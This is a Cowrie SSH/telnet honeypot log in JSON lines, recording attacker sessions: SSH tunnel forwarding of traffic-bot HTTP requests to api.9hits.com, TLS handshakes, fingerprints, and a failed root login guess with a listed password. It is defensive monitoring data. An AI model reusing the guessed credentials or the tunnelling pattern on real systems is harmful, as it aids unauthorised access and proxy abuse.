{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.523768Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eCpjUFF6NHhYKnZDd1BvWA%3D%3DVoTWmGYhxgfAM4BJuxHt0iUki9oXMSBahhOJpSgJ4oSn%2BeZC7xJju48BhW%2BNKmGMNtisoWummnJcYk4df7q33p56DkvuJdfDuoK0WBtIUlwFtNmCNaeW7YiLQDtEW3%2FIaj8FaaYerBFN2kFE4Cxp6lYrRtox2M4SG681POMM6FvZCsYv%2F%2FOhUm3sTZs8AhMpZME4Cea1F5%2BLBJ4PGgx8t9aDSKir2JaGRXsyEsbGME2WA1Ty6biHY3914s0qcJMp0JbpRG7wqPTxF8G2eG4K9Zst3Hc7CBGz%2FCImDaNr5omLzkrnEpQSwEMpz29amblVyBFKPjZIiRs0UbTiyQ4jfJhzGdfywEx1Uf3RZtJ%2Bi8PGLPlg6YxZzwuJAOgKuujYUPQnUZGDUNAa1Msdh5QI2i%2Bj3liB8rpUv0wYDpy5Tpt%2FTk6FCdkECv5AfxZUM5Ugt97UCB%2Fun3wRPWOLQnySR1DlZ1QZtxa%2FdOfs3UQa7LQqJRdK0RuLp7Bk5SZNwwqoJtaGMr6L3e6V7b2T%2FxBsN3PPF6qO9LYjrS0E%2BRYz4QR1cLNqznXhqiV3jywCiCN0x129mYdDFfg6smvXdx7e2BXQe73sbG6ocpOzL6S435u0Vc9AOOtcB%2B4UenxtpuSm22lGC%2FeW5EOTtemDkPNjoWle3T2X%2FAuOP6DUi75RjOo9%2FVAxcrBZbV7JE6D0VdkKEOt98zj%2B3ZUm4POiaZzvVHQkclQoNUfd3x%2Fi0md1mpjLDsSlAVYuz%2BHyN7QInbPAXqNzTYfrfhfxTSPHGSVSwb7y9ykbNV44uNMvc9863pBNgjzRRGORY3kUo2I%2Ftsb7ZRc%2FvD%2BPc%2BlP6M10fM%2BQFrhPWboWXPytkodsf8HMNOsqQPPXPuZKA7ZAnsiQfVmZtjcIKnkjDyydBsMLV3St%2FI%2F1p8NoE7i4Dmbpar2QCjkX1SfIjXDxS5fPB5f8wCwlX3CFvwubV403SREWDU68pPRJA2bQpAvFXDghT5BxVz6jjMZ7jAdxAVWJVnK0F7KgiAVAxnudVGba3R%2Bn6PczuRrc3gt0KtCa2lwsFY9zgkX87hyWQFEEc7ab6pnFbL%2BK'","id":3,"message":"discarded direct-tcp forward request 3 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eCpjUFF6NHhYKnZDd1BvWA%3D%3DVoTWmGYhxgfAM4BJuxHt0iUki9oXMSBahhOJpSgJ4oSn%2BeZC7xJju48BhW%2BNKmGMNtisoWummnJcYk4df7q33p56DkvuJdfDuoK0WBtIUlwFtNmCNaeW7YiLQDtEW3%2FIaj8FaaYerBFN2kFE4Cxp6lYrRtox2M4SG681POMM6FvZCsYv%2F%2FOhUm3sTZs8AhMpZME4Cea1F5%2BLBJ4PGgx8t9aDSKir2JaGRXsyEsbGME2WA1Ty6biHY3914s0qcJMp0JbpRG7wqPTxF8G2eG4K9Zst3Hc7CBGz%2FCImDaNr5omLzkrnEpQSwEMpz29amblVyBFKPjZIiRs0UbTiyQ4jfJhzGdfywEx1Uf3RZtJ%2Bi8PGLPlg6YxZzwuJAOgKuujYUPQnUZGDUNAa1Msdh5QI2i%2Bj3liB8rpUv0wYDpy5Tpt%2FTk6FCdkECv5AfxZUM5Ugt97UCB%2Fun3wRPWOLQnySR1DlZ1QZtxa%2FdOfs3UQa7LQqJRdK0RuLp7Bk5SZNwwqoJtaGMr6L3e6V7b2T%2FxBsN3PPF6qO9LYjrS0E%2BRYz4QR1cLNqznXhqiV3jywCiCN0x129mYdDFfg6smvXdx7e2BXQe73sbG6ocpOzL6S435u0Vc9AOOtcB%2B4UenxtpuSm22lGC%2FeW5EOTtemDkPNjoWle3T2X%2FAuOP6DUi75RjOo9%2FVAxcrBZbV7JE6D0VdkKEOt98zj%2B3ZUm4POiaZzvVHQkclQoNUfd3x%2Fi0md1mpjLDsSlAVYuz%2BHyN7QInbPAXqNzTYfrfhfxTSPHGSVSwb7y9ykbNV44uNMvc9863pBNgjzRRGORY3kUo2I%2Ftsb7ZRc%2FvD%2BPc%2BlP6M10fM%2BQFrhPWboWXPytkodsf8HMNOsqQPPXPuZKA7ZAnsiQfVmZtjcIKnkjDyydBsMLV3St%2FI%2F1p8NoE7i4Dmbpar2QCjkX1SfIjXDxS5fPB5f8wCwlX3CFvwubV403SREWDU68pPRJA2bQpAvFXDghT5BxVz6jjMZ7jAdxAVWJVnK0F7KgiAVAxnudVGba3R%2Bn6PczuRrc3gt0KtCa2lwsFY9zgkX87hyWQFEEc7ab6pnFbL%2BK'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.527305Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.580617Z","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.585700Z","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59630,"dst_ip":"159.203.135.109","dst_port":23,"session":"95d9004d842d","protocol":"telnet","message":"New connection: 128.199.8.54:59630 (159.203.135.109:23) [session: 95d9004d842d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.602203Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.682636Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\x9f\\xac|Z_\\x82:\\xca\\xe7*\\x8f\\xbc\\t\\xcc\\xa2\\xceAL\\x0c\\xd0\\xa6\\n\\x95\\x84\\xd9Mr\\x81\\xc2\\xfe* \\xd2\\\\i#\\xb2\\x0e\\x86\\xac\\xde\\x93}J\\xc72\\xf9\\x05\\x93\\xc0\\x17f\\x11\\x1e]#Z6!,\\x12PK\\x9a\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 X\\xe69u\\x89\\x1a\\x0f\\x9a\\x11\\xff\\x9b\\x95X\\x1e\\xe2J\\xbe\\x91\\x9b\\x18d\\x7f\\x0e,\\r[\\xb5\\xae\\xdc\\x9ew\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":5,"message":"discarded direct-tcp forward request 5 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\x9f\\xac|Z_\\x82:\\xca\\xe7*\\x8f\\xbc\\t\\xcc\\xa2\\xceAL\\x0c\\xd0\\xa6\\n\\x95\\x84\\xd9Mr\\x81\\xc2\\xfe* \\xd2\\\\i#\\xb2\\x0e\\x86\\xac\\xde\\x93}J\\xc72\\xf9\\x05\\x93\\xc0\\x17f\\x11\\x1e]#Z6!,\\x12PK\\x9a\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 X\\xe69u\\x89\\x1a\\x0f\\x9a\\x11\\xff\\x9b\\x95X\\x1e\\xe2J\\xbe\\x91\\x9b\\x18d\\x7f\\x0e,\\r[\\xb5\\xae\\xdc\\x9ew\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.686073Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.711147Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf4\\xdbv\\xaeF\\xbb:\\xa5\\xa0+~\\xf0\\x0f\\x99\\x91qL\\x88D\\x06\\xb6\\x068\\xa9\\x1a\\x8d\\x9b\\xccIY\\xce0 $L\\x84Ds\\xc6=\\x19Q\\xa5\\xdd\\xce \\x86\\xc6 \\x9e\\x85\\x91.\\x11r\\xa5t\\x91\\x18\\xd1\\xb2\\xef\\x1b2o\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97\\xe6\\x87\\xbd\\x81`\\xa53\\x07\\x94\\xc5\\xa6jD\\x83\\xbc\\x82\\xba]p\\xd9\\xab{\\x9d\\x91\\xe7\\xeb_\\xcdG\\xa6u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf4\\xdbv\\xaeF\\xbb:\\xa5\\xa0+~\\xf0\\x0f\\x99\\x91qL\\x88D\\x06\\xb6\\x068\\xa9\\x1a\\x8d\\x9b\\xccIY\\xce0 $L\\x84Ds\\xc6=\\x19Q\\xa5\\xdd\\xce \\x86\\xc6 \\x9e\\x85\\x91.\\x11r\\xa5t\\x91\\x18\\xd1\\xb2\\xef\\x1b2o\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97\\xe6\\x87\\xbd\\x81`\\xa53\\x07\\x94\\xc5\\xa6jD\\x83\\xbc\\x82\\xba]p\\xd9\\xab{\\x9d\\x91\\xe7\\xeb_\\xcdG\\xa6u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.713921Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:14.975648Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":51034,"dst_ip":"159.203.135.109","dst_port":22,"session":"33d61496ea15","protocol":"ssh","message":"New connection: 41.90.100.147:51034 (159.203.135.109:22) [session: 33d61496ea15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:15.428961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:15.433594Z","src_ip":"41.90.100.147","session":"33d61496ea15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:15.666333Z","src_ip":"41.90.100.147","session":"33d61496ea15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rr@123456","message":"login attempt [root/Rr@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:16.564081Z","src_ip":"41.90.100.147","session":"33d61496ea15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:17.783940Z","src_ip":"41.90.100.147","session":"33d61496ea15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.222.255.237","src_port":52690,"dst_ip":"159.203.135.109","dst_port":22,"session":"710a92a540ec","protocol":"ssh","message":"New connection: 18.222.255.237:52690 (159.203.135.109:22) [session: 710a92a540ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:19.910413Z"}
{"eventid":"cowrie.session.connect","src_ip":"18.222.255.237","src_port":40682,"dst_ip":"159.203.135.109","dst_port":23,"session":"90d38ab1a57e","protocol":"telnet","message":"New connection: 18.222.255.237:40682 (159.203.135.109:23) [session: 90d38ab1a57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:20.005349Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:20.564624Z","src_ip":"18.222.255.237","session":"710a92a540ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.5783016681671143,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:20.583516Z","src_ip":"18.222.255.237","session":"90d38ab1a57e","protocol":"telnet"}
